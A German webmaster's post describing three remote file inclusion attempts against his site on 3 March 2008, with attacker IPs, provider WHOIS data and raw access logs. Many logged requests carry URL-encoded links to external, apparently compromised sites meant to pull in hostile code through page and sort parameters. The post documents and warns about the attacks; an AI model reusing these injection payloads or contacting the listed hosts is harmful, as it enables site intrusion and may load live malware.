Angriff am 03.03.08

Am 03.03.08 ging es dann munter weiter, mit den amateurhaften Angriffsversuchen.

Warnung!!! Kommen Sie bitte nicht auf die Idee, durch Ersetzen von %3A%2F%2F und %2 durch die entsprechenden Zeichen, die URL´s aufzurufen, die als Sprungbrett verwendet wurden, es verbirgt sich evtl. immer noch schadhafter Code dahinter!

Der erste Versuch am 03.03.08

Der Amateur, der hier mittels seiner IP 213.232.89.31 seine Spur hinterlies, kam über folgenden Provider:

inetnum: 213.232.89.0 - 213.232.89.255
netname: GNX-NETWORK
descr: GNX Network Ltd. Second Allocation
country: GB
address: London

Hier das Protokoll:

03-03-08 / 16:09:54 - 213.232.89.31 - /
03-03-08 / 16:09:55 - 213.232.89.31 - /index.php?page=http%3A%2F%2Fwww.felixtorresycia.com%2F
admin%2Fcorreo%2Fenaq%2Fecib%2F
03-03-08 / 16:09:57 - 213.232.89.31 - /index.php?page=http%3A%2F%2Fwww.thoseguysfilms.com%2F
forums%2Ftemplates%2FsubSilver%2Fimages%2Fuza%2Flaqipu%2F
03-03-08 / 16:09:58 - 213.232.89.31 - /index.php?page=http%3A%2F%2Fwww.northfans.ch%2Fforum%2F
admin%2Fsettings%
2Fgucor%2Fujusu%2F
03-03-08 / 16:10:03 - 213.232.89.31 - /index.php?page=shownews&newsid=http%3A%2F%2Fsans-packing.
ru%2Fimg%2Fjipeqap%2Fehudute%2F
03-03-08 / 16:10:04 - 213.232.89.31 - /index.php?page=shownews&newsid=http%3A%2F%2Fwww.felixtorr
esycia.com%2Fadmin%2Fcorreo%2Fenaq%2Fecib%2F
03-03-08 / 16:10:05 - 213.232.89.31 - /index.php?page=shownews&newsid=http%3A%2F%2Fwww.municipi
oxii.it%2Fsunnyway%2Feheqebi%2Fjahibop%2F
03-03-08 / 16:10:09 - 213.232.89.31 - /index.php?page=allnews
03-03-08 / 16:10:11 - 213.232.89.31 - /index.php?page=privacy
03-03-08 / 16:10:13 - 213.232.89.31 - /index.php
03-03-08 / 16:10:14 - 213.232.89.31 - /index.php?page=articles
03-03-08 / 16:10:16 - 213.232.89.31 - /index.php?page=showarticle&articleid=http%3A%2F%2Fwww.altaiseer
-eg.com%2Far%2Farticles%2Fjed%2Fumut%2F
03-03-08 / 16:10:20 - 213.232.89.31 - /index.php?page=showarticle&articleid=http%3A%2F%2Fwww.northfans
.ch%2Fforum%2Fadmin%2Fsettings%2Fgucor%2Fujusu%2F
03-03-08 / 16:10:22 - 213.232.89.31 - /index.php?page=showarticle&articleid=http%3A%2F%2Fsahel55.com%2F
articles%2Fomaduro%2Fkimumid%2F
03-03-08 / 16:10:29 - 213.232.89.31 - /index.php?page=shownews&newsid=3
03-03-08 / 16:10:30 - 213.232.89.31 - /index.php?page=faq
03-03-08 / 16:10:31 - 213.232.89.31 - /index.php?page=showarticle&articleid=1

Am gleichen Tag folgte dann ein zweiter Angriff.

Der Amateur, der hier mittels seiner IP 81.25.195.225 seine Spur hinterlies, kam über folgenden Provider:

inetnum: 81.25.195.224 - 81.25.195.239
netname: ITEMA-NET
descr: ITEMA
descr: Paris
country: FR

Hier das Protokoll:

03-03-08 / 17:13:31 - 81.25.195.225 - /
03-03-08 / 17:13:33 - 81.25.195.225 - /index.php?page=http%3A%2F%2Fwww.channelnewsperu.com%2F
imagenes%2Fpublicaciones%2Ffotos%2Fnepicu%2Fegul%2F
03-03-08 / 17:13:35 - 81.25.195.225 - /index.php?page=http%3A%2F%2Fwww.altaiseer-eg.com%2Far%2F
articles%2Fjed%2Fumut%2F
03-03-08 / 17:13:39 - 81.25.195.225 - /index.php?page=http%3A%2F%2Fwww.felixtorresycia.com%2F
admin%2Fcorreo%2Fenaq%2Fecib%2F
03-03-08 / 17:13:49 - 81.25.195.225 - /index.php?page=shownews&newsid=http%3A%2F%2Fwww.cjp.spb
.ru%2Fen%2Ftis%2Fleboma%2F
03-03-08 / 17:13:50 - 81.25.195.225 - /index.php?page=shownews&newsid=http%3A%2F%2Fwww.electro
fed.com%2F_app%2Fefc%2Fodoqu%2Fferus%2F
03-03-08 / 17:13:51 - 81.25.195.225 - /index.php?page=shownews&newsid=http%3A%2F%2Fwww.felixtor
resycia.com%2Fadmin%2Fcorreo%2Fenaq%2Fecib%2F
03-03-08 / 17:13:53 - 81.25.195.225 - /?orderby=http%3A%2F%2Fhonamfishing.co.kr%2Fphpmysqladmin
%2Flibraries%2Foduzov%2Fneloze%2F&sortorder=asc
03-03-08 / 17:13:54 - 81.25.195.225 - /?orderby=http%3A%2F%2Fwww.channelnewsperu.com%2Fimagenes
%2Fpublicaciones%2Ffotos%2Fnepicu%2Fegul%2F&sortorder=asc
03-03-08 / 17:13:55 - 81.25.195.225 - /?orderby=http%3A%2F%2Fhonamfishing.co.kr%2Fphpmysqladmin
%2Flibraries%2Foduzov%2Fneloze%2F&sortorder=asc
03-03-08 / 17:13:56 - 81.25.195.225 - /?orderby=age&sortorder=http%3A%2F%2Fwww.municipioxii.it%2F
sunnyway%2Feheqebi%2Fjahibop%2F
03-03-08 / 17:13:57 - 81.25.195.225 - /?orderby=age&sortorder=http%3A%2F%2Fwww.obrasmecanicasch
.com%2Fomch%2Fimg%2Fitofu%2Fviroja%2F
03-03-08 / 17:13:58 - 81.25.195.225 - /?orderby=age&sortorder=http%3A%2F%2Fwww.electrofed.com%2F
_app%2Fefc%2Fodoqu%2Fferus%2F
03-03-08 / 17:13:58 - 81.25.195.225 - /index.php?page=privacy
03-03-08 / 17:13:59 - 81.25.195.225 - /index.php?page=faq
03-03-08 / 17:14:02 - 81.25.195.225 - /index.php
03-03-08 / 17:14:03 - 81.25.195.225 - /index.php?page=allnews
03-03-08 / 17:14:04 - 81.25.195.225 - /index.php?page=terms_of_use
03-03-08 / 17:14:06 - 81.25.195.225 - /?orderby=age&sortorder=asc

Alle Guten Dinge sind drei, hier der dritte Idiot.

Der Amateur, der hier mittels seiner IP 83.246.95.76 seine Spur hinterlies, kam über folgenden Provider:

inetnum: 83.246.94.0 - 83.246.95.255
netname: SERVERPOOL-VPS1-NET
descr: VPS Serverpool
descr: Hannover, Germany
country: DE

Hier das Protokoll:

03-03-08 / 20:44:21 - 83.246.95.76 - /
03-03-08 / 20:44:24 - 83.246.95.76 - /index.php?page=http%3A%2F%2Fwww.pattibus.it%2Fphplib-7.2b%2F
pages%2Filosi%2Fdohigal%2F
03-03-08 / 20:44:25 - 83.246.95.76 - /index.php?page=http%3A%2F%2Fwww.obrasmecanicasch.com%2Fomch
%2Fimg%2Fitofu%2Fviroja%2F
03-03-08 / 20:44:25 - 83.246.95.76 - /index.php?page=http%3A%2F%2Fwww.felixtorresycia.com%2Fadmin%2F
correo%2Fenaq%2Fecib%2F
03-03-08 / 20:44:29 - 83.246.95.76 - /index.php?page=shownews&newsid=http%3A%2F%2Fwww.elettrodata
service.it%2Ffoto_articoli%2Fonoda%2Fiyegimi%2F
03-03-08 / 20:44:30 - 83.246.95.76 - /index.php?page=shownews&newsid=http%3A%2F%2Fwww.obrasmecani
casch.com%2Fomch%2Fimg%2Fitofu%2Fviroja%2F
03-03-08 / 20:44:31 - 83.246.95.76 - /index.php?page=shownews&newsid=http%3A%2F%2Fwww.elettrodata
service.it%2Ffoto_articoli%2Fonoda%2Fiyegimi%2F
03-03-08 / 20:44:32 - 83.246.95.76 - /index.php?page=faq
03-03-08 / 20:44:33 - 83.246.95.76 - /index.php?page=allnews
03-03-08 / 20:44:34 - 83.246.95.76 - /index.php?page=services
03-03-08 / 20:44:36 - 83.246.95.76 - /index.php?page=articles
03-03-08 / 20:44:37 - 83.246.95.76 - /index.php?page=showarticle&articleid=http%3A%2F%2Fsahel55.com
%2Farticles%2Fomaduro%2Fkimumid%2F
03-03-08 / 20:44:38 - 83.246.95.76 - /index.php?page=showarticle&articleid=http%3A%2F%2Fwww.psikoloji
kyardim.org%2Fetkinlik%2Finclude%2Feto%2Fnixaz%2F
03-03-08 / 20:44:38 - 83.246.95.76 - /index.php?page=showarticle&articleid=http%3A%2F%2Fwww.altaiseer
-eg.com%2Far%2Farticles%2Fjed%2Fumut%2F
03-03-08 / 20:44:42 - 83.246.95.76 - /index.php?page=showarticle&articleid=1

Auch hier hat keiner der Amateure Schaden angerichtet, jedoch, schon der Versuch ist strafbar!

Viele Grüsse

Der Webmaster